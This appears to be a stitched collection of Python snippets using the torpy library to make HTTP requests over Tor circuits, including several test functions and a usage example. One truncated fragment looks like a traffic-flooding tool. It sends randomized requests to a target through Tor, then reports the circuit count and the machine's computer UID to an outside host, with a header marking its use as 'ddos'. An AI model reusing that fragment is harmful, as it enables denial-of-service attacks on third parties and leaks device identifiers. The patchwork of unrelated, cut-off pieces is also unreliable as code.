def get(self, path, host=None, headers: dict = None): headers = headers or {} host = host or self._host if host: headers['Host'] = host headers_str = '\r\n'.join(f'{key}: {val}' for (key, val) in headers.items()) http_query = f'GET {path} HTTP/1.0\r\n{headers_str}\r\n\r\n' self._stream.send(http_query.encode()) raw_response = recv_all(self._stream) header, body = raw_response.split(b'\r\n\r\n', 1) f = BytesIO(header) request_line = f.readline().split(b' ') protocol, status = request_line[:2] status = int(status) headers = parse_headers(f) if headers['Content-Encoding'] == 'deflate': body = zlib.decompress(body) elif headers['Content-Encoding'] == 'gzip': body = gzip.decompress(body) if status != 200: logger.debug('raw_response = %s', raw_response) return status, body
def test_clearnet_raw(): hostname = 'ifconfig.me' tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hostname, 80)) as stream: # Send some data to it stream.send(b'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % hostname.encode()) recv = recv_all(stream).decode() logger.warning('recv: %s', recv) assert circuit.last_node.router.ip in recv, 'wrong data received'
def test_onion_raw(): hostname = 'nzxj65x32vh2fkhk.onion' tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hostname, 80)) as stream: # Send some data to it stream.send(b'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % hostname.encode()) recv = recv_all(stream).decode() logger.warning('recv: %s', recv) assert 'StickyNotes' in recv, 'wrong data received'
def test_torpy(): hostname = COMRAD_ONION from torpy import TorClient tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hostname, 80)) as stream: # Send some data to it stream.send(b'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % hostname.encode()) recv = recv_all(stream).decode() #logger.warning('recv: %s', recv) print('RECEIVED:', recv)
def test_stealth_auth(): """Connecting to Hidden Service with 'Stealth' authorization.""" if not HS_STEALTH_HOST or not HS_STEALTH_AUTH: logger.warning('Skip test_stealth_auth()') return hs = HiddenService(HS_STEALTH_HOST, HS_STEALTH_AUTH, AuthType.Stealth) tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hs, 80)) as stream: # Send some data to it stream.send(b'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % hs.hostname.encode()) recv = recv_all(stream).decode() logger.warning('recv: %s', recv)
def test_basic_auth_pre(): """Using pre-defined authorization data for making HTTP requests.""" if not HS_BASIC_HOST or not HS_BASIC_AUTH: logger.warning('Skip test_basic_auth()') return hidden_service = HS_BASIC_HOST auth_data = {HS_BASIC_HOST: (HS_BASIC_AUTH, AuthType.Basic)} tor = TorClient(auth_data=auth_data) # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hidden_service, 80)) as stream: # Send some data to it stream.send(b'GET / HTTP/1.0\r\nHost: %s.onion\r\n\r\n' % hidden_service.encode()) recv = recv_all(stream).decode() logger.warning('recv: %s', recv)
pred(f'random wants {num_circuit} again') prev_num_circuit = num_circuit pblack(f'creating {num_circuit} nodes circuit ... ') with tor.create_circuit(num_circuit) as circuit: pgreen(f'OK') # Create tor stream to host pblack(f'connecting to {hostname} ... ', send='') with circuit.create_stream((hostname, 80)) as stream: pgreen('OK') payload = 'GET /?ray=' + Randomer.str_id_generator( ) + f' HTTP/1.1\r\nUser-Agent: natural nature\r\nConnection: close\r\nHost: {hostname}\r\n\r\n' pgreen(f'playload:\n{payload}') stream.send(bytes(payload, encoding='utf-8')) pblack('receiving ... ', send='') recv = recv_all(stream) buf = str(recv.decode(errors="ignore")[:4096]) pblack(f'{len(recv)} bytes \r\n\r\n{buf}') if buf.count("bye=ok"): pgreen('\n\rpye&bye check done\r\n') else: pred('no pay&bye service\r\n') data = do_request('http://kilitary.ru?zay=' + str( random.randint(0, 99999999) ) + parse.quote( f"&push='routers:{num_circuit}/{get_computer_uid()}/{Randomer.str_str_generator()}'" ), headers={ 'User-Agent': 'Mozilla/111.0', 'X-use': 'ddos'
from torpy import TorClient from torpy.utils import recv_all from torpy.http import requests from torpy.http.adapter import TorHttpAdapter host = "ifconfig.me" with TorClient() as tor: with tor.create_circuit(3) as circ: with circ.create_stream((host, 80)) as stream: stream.send(b'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % host.encode()) ret = recv_all(stream).decode() print(ret) host2 = 'https://www.facebookcorewwwi.onion/' with TorClient() as tor: with tor.get_guard() as guard: adapter = TorHttpAdapter(guard, 3) with requests.Session() as sess: sess.headers.update({'User-Agent': 'Mozilla/5.0'}) sess.mount('http://', adapter) sess.mount('https://', adapter) resp = sess.get("http://" + host, timeout=15) print(resp.text) resp = sess.get(host2) print(resp.text)